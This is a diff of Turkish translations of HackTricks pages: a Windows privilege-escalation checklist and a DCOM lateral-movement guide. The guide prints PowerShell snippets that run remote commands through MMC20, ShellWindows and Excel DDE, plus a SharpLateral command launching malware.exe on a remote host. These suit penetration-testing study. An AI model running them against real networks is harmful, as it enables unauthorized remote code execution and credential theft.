* [ ] [**Denetim** ](windows-local-privilege-escalation/#audit-settings)ve [**WEF** ](windows-local-privilege-escalation/#wef)ayarlarını kontrol edin * [ ] [**Denetim** ](windows-local-privilege-escalation/#audit-settings)ve [**WEF** ](windows-local-privilege-escalation/#wef)ayarlarını kontrol edin
* [ ] [**LAPS**](windows-local-privilege-escalation/#laps) kontrol edin * [ ] [**LAPS**](windows-local-privilege-escalation/#laps)'ı kontrol edin
* [ ] [**WDigest** ](windows-local-privilege-escalation/#wdigest) etkin mi? * [ ] [**WDigest** ](windows-local-privilege-escalation/#wdigest) etkin mi?
* [ ] [**LSA Koruma**](windows-local-privilege-escalation/#lsa-protection)? * [ ] [**LSA Koruma**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Kimlik Bilgileri Koruyucu**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials) * [ ] [**Kimlik Bilgileri Koruyucu**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
@ -51,30 +51,30 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Kullanıcı Ayrıcalıkları**](windows-local-privilege-escalation/#users-and-groups) kontrol edin * [**Kullanıcı Ayrıcalıkları**](windows-local-privilege-escalation/#users-and-groups) kontrol edin
* [ ] [**Geçerli** kullanıcı **ayrıcalıklarını**](windows-local-privilege-escalation/#users-and-groups) kontrol edin * [ ] [**Geçerli** kullanıcı **ayrıcalıklarını**](windows-local-privilege-escalation/#users-and-groups) kontrol edin
* [ ] [**Herhangi bir ayrıcalıklı gruba üye misiniz**](windows-local-privilege-escalation/#privileged-groups)? * [ ] [**Herhangi bir ayrıcalıklı gruba üye misiniz**](windows-local-privilege-escalation/#privileged-groups)?
* [ ] **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** gibi bu belirteçlerden herhangi birini etkinleştirdiniz mi? [**Token Manipülasyonu**](windows-local-privilege-escalation/#token-manipulation) * [ ] **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** gibi **bu belirteçlerden herhangi biri etkin mi** kontrol edin?
* [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions) kontrol edin * [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions) kontrol edin
* [**Kullanıcı evleri**](windows-local-privilege-escalation/#home-folders) kontrol edin (erişim?) * [**Kullanıcı evleri**](windows-local-privilege-escalation/#home-folders)'ni kontrol edin (erişim?)
* [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy) kontrol edin * [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy)'nı kontrol edin
* [**Pano içeriğinde**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ne var? * **Pano içeriğinde**[ **ne var**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
### [](windows-local-privilege-escalation/#network) ### [](windows-local-privilege-escalation/#network)
* [**Geçerli** ağ **bilgilerini**](windows-local-privilege-escalation/#network) kontrol edin * [**Geçerli** [**** **bilgilerini**](windows-local-privilege-escalation/#network) kontrol edin
* Dışa kısıtlı **gizli yerel hizmetleri** kontrol edin * [Dışa kısıtlı gizli yerel hizmetleri](windows-local-privilege-escalation/#network) kontrol edin
### [Çalışan İşlemler](windows-local-privilege-escalation/#running-processes) ### [Çalışan İşlemler](windows-local-privilege-escalation/#running-processes)
* İşlem ikili dosyaları [**dosya ve klasör izinleri**](windows-local-privilege-escalation/#file-and-folder-permissions) kontrol edin * [ ] İşlem ikili dosyalarının [**dosya ve klasör izinlerini**](windows-local-privilege-escalation/#file-and-folder-permissions) kontrol edin
* [**Bellek Şifre madenciliği**](windows-local-privilege-escalation/#memory-password-mining) * [ ] [**Bellek Şifre madenciliği**](windows-local-privilege-escalation/#memory-password-mining)
* [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/#insecure-gui-apps) * [ ] [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/#insecure-gui-apps)
* `ProcDump.exe` aracılığıyla **ilginç işlemlerle kimlik bilgileri çalın** mi? (firefox, chrome, vb ...) * [ ] `ProcDump.exe` aracılığıyla **ilginç işlemlerle kimlik bilgileri çalın** (firefox, chrome, vb ...)?
### [Hizmetler](windows-local-privilege-escalation/#services) ### [Hizmetler](windows-local-privilege-escalation/#services)
* [Herhangi bir hizmeti **değiştirebilir misiniz**?](windows-local-privilege-escalation#permissions) * [ ] [Herhangi bir hizmeti **değiştirebilir misiniz**?](windows-local-privilege-escalation#permissions)
* [Herhangi bir hizmet tarafından **çalıştırılan ikili** dosyayı **değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path) * [ ] [Herhangi bir hizmet tarafından **yürütülen ikili dosyayı değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Herhangi bir hizmetin **kayıt defterini değiştirebilir misiniz**?](windows-local-privilege-escalation/#services-registry-modify-permissions) * [ ] [Herhangi bir hizmetin **kayıt defterini değiştirebilir misiniz**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [Herhangi bir **tırnak işareti olmayan hizmet** ikili **yolundan yararlanabilir misiniz**?](windows-local-privilege-escalation/#unquoted-service-paths) * [ ] Herhangi bir **alıntı yapılmamış hizmet** ikili **yolundan yararlanabilir misiniz**?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Uygulamalar**](windows-local-privilege-escalation/#applications) ### [**Uygulamalar**](windows-local-privilege-escalation/#applications)
@ -84,12 +84,12 @@ HackTricks'ı desteklemenin diğer yolları:
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) ### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] **PATH** içinde **herhangi bir klasöre yazabilir misiniz**? * [ ] **PATH** içinde **herhangi bir klasöre yazabilir misiniz**?
* [ ] **Var olmayan bir DLL yüklemeye çalışan** bilinen bir hizmet ikili dosyası var mı? * [ ] **Var olmayan bir DLL yüklemeye çalışan** bilinen bir hizmet ikilisi var mı?
* [ ] **İkili dosyalar klasörüne yazabilir misiniz**? * [ ] **İşletim sistemi dosyalarının bulunduğu klasörlere yazabilir misiniz**?
### [](windows-local-privilege-escalation/#network) ### [](windows-local-privilege-escalation/#network)
* [ ] Ağı numaralandırın (paylaşımlar, arabirimler, rotalar, komşular, ...) * [ ] Ağı sıralayın (paylaşımlar, arayüzler, rotalar, komşular, ...)
* [ ] Localhost'ta (127.0.0.1) dinleyen ağ hizmetlerine özel bir bakış atın * [ ] Localhost'ta (127.0.0.1) dinleyen ağ hizmetlerine özel bir bakış atın
### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/#windows-credentials) ### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/#windows-credentials)
@ -97,8 +97,8 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)kimlik bilgileri * [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)kimlik bilgileri
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri mi? * [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri mi?
* [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi) var mı? * [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi) var mı?
* [ ] Kayıtlı [**Wifi ağlarının**](windows-local-privilege-escalation/#wifi) şifreleri? * [ ] Kayıtlı [**Wifi ağlarının şifreleri**](windows-local-privilege-escalation/#wifi)?
* [ ] Kaydedilen [**RDP Bağlantılarında**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler mi? * [ ] Kaydedilen [**RDP Bağlantılarındaki**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler?
* [ ] [**Yakın zamanda çalıştırılan komutlardaki**](windows-local-privilege-escalation/#recently-run-commands) şifreler? * [ ] [**Yakın zamanda çalıştırılan komutlardaki**](windows-local-privilege-escalation/#recently-run-commands) şifreler?
* [ ] [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/#remote-desktop-credential-manager) şifreleri? * [ ] [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/#remote-desktop-credential-manager) şifreleri?
* [ ] [**AppCmd.exe** mevcut mu](windows-local-privilege-escalation/#appcmd-exe)? Kimlik bilgileri? * [ ] [**AppCmd.exe** mevcut mu](windows-local-privilege-escalation/#appcmd-exe)? Kimlik bilgileri?
@ -107,32 +107,32 @@ HackTricks'ı desteklemenin diğer yolları:
### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/#files-and-registry-credentials) ### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/#files-and-registry-credentials)
* [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/#putty-creds) **ve** [**SSH anahtarları**](windows-local-privilege-escalation/#putty-ssh-host-keys) * [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/#putty-creds) **ve** [**SSH anahtarları**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] Kayıt defterinde [**SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry) var mı? * [ ] Kayıt defterindeki [**SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
* [ ] [**Katılımsız dosyalardaki**](windows-local-privilege-escalation/#unattended-files) şifreler? * [ ] [**Katılımsız dosyalardaki**](windows-local-privilege-escalation/#unattended-files) şifreler?
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedeklemesi var mı? * [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedeklemesi var mı?
* [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)? * [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) dosyası? * [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) dosyası?
* [**Önbelleğe alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword) var mı? * [**Önbelleğe alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword) var mı?
* [ ] [**IIS Web yapılandırma dosyasındaki**](windows-local-privilege-escalation/#iis-web-config) şifre? * [ ] [**IIS Web yapılandırma dosyasındaki**](windows-local-privilege-escalation/#iis-web-config) şifre?
* [ ] [**Web** **günlüklerinde**](windows-local-privilege-escalation/#logs) ilginç bilgiler mi? * [ ] [**Web** **loglarında**](windows-local-privilege-escalation/#logs) ilginç bilgiler var mı?
* [ ] Kullanıcıdan [**kimlik bilgileri istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misiniz? * [ ] Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misiniz?
* [ ] Geri Dönüşüm Kutusundaki [**kimlik bilgileri**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) içinde ilginç [**dosyalar**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)? * [ ] Geri Dönüşüm Kutusundaki [**kimlik bilgileri**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) içinde ilginç [**dosyalar**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Diğer [**kimlik bilgileri içeren kayıt defteri**](windows-local-privilege-escalation/#inside-the-registry) içinde mi? * [ ] Diğer [**kimlik bilgileri içeren kayıt defteri**](windows-local-privilege-escalation/#inside-the-registry) içinde mi?
* [ ] Tarayıcı verilerinde (veritabanları, geçmiş, yer imleri, ...) [**Bulunan**](windows-local-privilege-escalation/#browsers-history) ilginç bilgiler? * [ ] Tarayıcı verilerinde (veritabanları, geçmiş, yer imleri, ...) [**Bilgiler**](windows-local-privilege-escalation/#browsers-history) içinde mi?
* [**Dosyalarda ve kayıt defterinde**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) [**Genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)? * [**Dosyalarda ve kayıt defterinde genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)?
* [**Otomatik olarak şifre aramak için**](windows-local-privilege-escalation/#tools-that-search-for-passwords) [**Araçlar**](windows-local-privilege-escalation/#tools-that-search-for-passwords)? * [**Şifreleri aramak için**](windows-local-privilege-escalation/#tools-that-search-for-passwords) otomatik arama [**araçları**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/#leaked-handlers) ### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Yönetici tarafından çalıştırılan bir işlemin işleyicisine erişiminiz var mı? * [ ] Yönetici tarafından çalıştırılan bir işlem işleyicisine erişiminiz var mı?
### [İsimli Boru İstemci Taklit](windows-local-privilege-escalation/#named-pipe-client-impersonation) ### [İsimli Boru İstemci Taklit](windows-local-privilege-escalation/#named-pipe-client-impersonation)
* [ ] Kullanabilir misiniz? * [ ] Kullanabilir misiniz kontrol edin
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -140,12 +140,12 @@ HackTricks'ı desteklemenin diğer yolları:
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,13 +25,13 @@
**Bu teknik hakkında daha fazla bilgi için orijinal yazıya [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) bakın** **Bu teknik hakkında daha fazla bilgi için orijinal yazıya [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) bakın**
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, [buradan DCOM için](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve [buradan COM için](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. Bir PowerShell komutu kullanarak DCOM uygulamalarının bir listesini alabilirsiniz: Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, [buradan DCOM için](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve [buradan COM için](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. PowerShell komutunu kullanarak bir DCOM uygulamaları listesi alınabilir:
```bash ```bash
Get-CimInstance Win32_DCOMApplication Get-CimInstance Win32_DCOMApplication
``` ```
COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklentisi işlemlerinin betikleme işlevini sağlar. Bu nesne, özellikle `Document.ActiveView` altında `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştırarak kontrol edin: COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklentisi işlemlerinin betikleştirilmesini sağlar. Özellikle, bu nesne `Document.ActiveView` altında `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştırılarak kontrol edin:
Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinden komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşime geçmek için PowerShell şu şekilde kullanılabilir: Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinde komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşime geçmek için PowerShell şu şekilde kullanılabilir:
```powershell ```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>")) [activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
``` ```
@ -51,18 +51,18 @@ $com | Get-Member
ls \\10.10.10.10\c$\Users ls \\10.10.10.10\c$\Users
``` ```
## ShellWindows ve ShellBrowserWindow ## ShellWindows & ShellBrowserWindow
**Bu teknik hakkında daha fazla bilgi için orijinal yazıya [buradan](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) ulaşabilirsiniz.** **Bu teknik hakkında daha fazla bilgi için orijinal yazıya [buradan](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) ulaşabilirsiniz.**
**MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve varsayılan olarak Yöneticilere erişim izni veren izinlere sahip olduğu belirlendi. Daha fazla ayrıntı için [buradaki](https://twitter.com/tiraniddo/status/817532039771525120) konuya bakılabilir ve [@tiraniddo](https://twitter.com/tiraniddo)nun OleView .NET'in kullanımı önerilir. **MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve bu varsayılan olarak Yöneticilere erişim izni veren izinlere sahiptir. Daha fazla ayrıntı için [buradaki](https://twitter.com/tiraniddo/status/817532039771525120) konuya bakılabilir ve [@tiraniddo](https://twitter.com/tiraniddo)nun OleView .NET'in kullanımı önerilir.
Özellikle `ShellBrowserWindow` ve `ShellWindows` adlı iki nesne, açık Launch İzinlerine sahip olmadıkları için vurgulandı. `HKCR:\AppID\{guid}` altında `LaunchPermission` kaydının bulunmaması,ık izinlerin olmadığını gösterir. Özel olarak, `ShellBrowserWindow` ve `ShellWindows` nesneleri, açık Launch İzinlerine sahip olmadıkları için vurgulandı. `HKCR:\AppID\{guid}` altında bir `LaunchPermission` kaydının olmamasıık izinlerin olmadığını gösterir.
### ShellWindows ### ShellWindows
ProgID eksik olan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne örnekleştirmeyi kolaylaştırır. Bu işlem, `ShellWindows` için CLSID'yi almak için OleView .NET'in kullanılmasını içerir. Bir kez örneklendiğinde, etkileşim `WindowsShell.Item` yöntemi aracılığıyla mümkün olur ve `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar. ProgID'si olmayan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance` nesneyi AppID'si kullanarak oluşturmayı kolaylaştırır. Bu işlem, `ShellWindows` için CLSID'yi almak için OleView .NET'i kullanır. Oluşturulduktan sonra, etkileşim `WindowsShell.Item` yöntemi aracılığıyla mümkün olur ve `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar.
Uzaktan komutları yürütmek için örnek PowerShell komutları sağlandı: Örnek PowerShell komutları, nesneyi oluşturmak ve uzaktan komutları yürütmek için sağlanmıştır:
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
@ -71,9 +71,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
``` ```
### Excel DCOM Nesneleri ile Yanal Hareket ### Excel DCOM Nesneleri ile Yanal Hareket
Yanal hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, Excel DDE'nin DCOM aracılığıyla yanal hareket için nasıl kullanılabileceğine dair tartışmayı okumanız önerilir [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). Yanal hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, DCOM aracılığıyla yanal hareket için Excel DDE'nin kullanılması üzerine yapılan tartışmayı [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) okumanız önerilir.
Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar etmek için farklı yöntemleri sergileyen [Empire'in GitHub deposunda](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) bulunan betikten alınan parçalar bulunmaktadır: Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar edilmesi için farklı yöntemleri sergileyen [Empire'in GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alınan parçalar bulunmaktadır:
```powershell ```powershell
# Detection of Office version # Detection of Office version
elseif ($Method -Match "DetectOffice") { elseif ($Method -Match "DetectOffice") {
@ -98,17 +98,17 @@ $Obj.DDEInitiate("cmd", "/c $Command")
``` ```
### Yana Hareket için Otomasyon Araçları ### Yana Hareket için Otomasyon Araçları
Bu teknikleri otomatikleştirmek için iki araç öne çıkar: Bu teknikleri otomatikleştirmek için iki araç öne çıkarılmıştır:
- **Invoke-DCOM.ps1**: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumda. - **Invoke-DCOM.ps1**: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumdadır.
- **SharpLateral**: Uzaktan kod yürütmek için tasarlanmış bir araç, aşağıdaki komutla kullanılabilir: - **SharpLateral**: Uzaktan kod yürütmek için tasarlanmış bir araçtır ve aşağıdaki komutla kullanılabilir:
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
``` ```
## Otomatik Araçlar ## Otomatik Araçlar
* [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) adlı Powershell betiği, diğer makinelerde kodu yürütmek için yorumlanmış tüm yolları kolayca çağırmayı sağlar. * Powershell betiği [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1), diğer makinelerde kodu yürütmek için yorumlanmış tüm yolları kolayca çağırmayı sağlar.
* Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: * Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
@ -120,20 +120,20 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
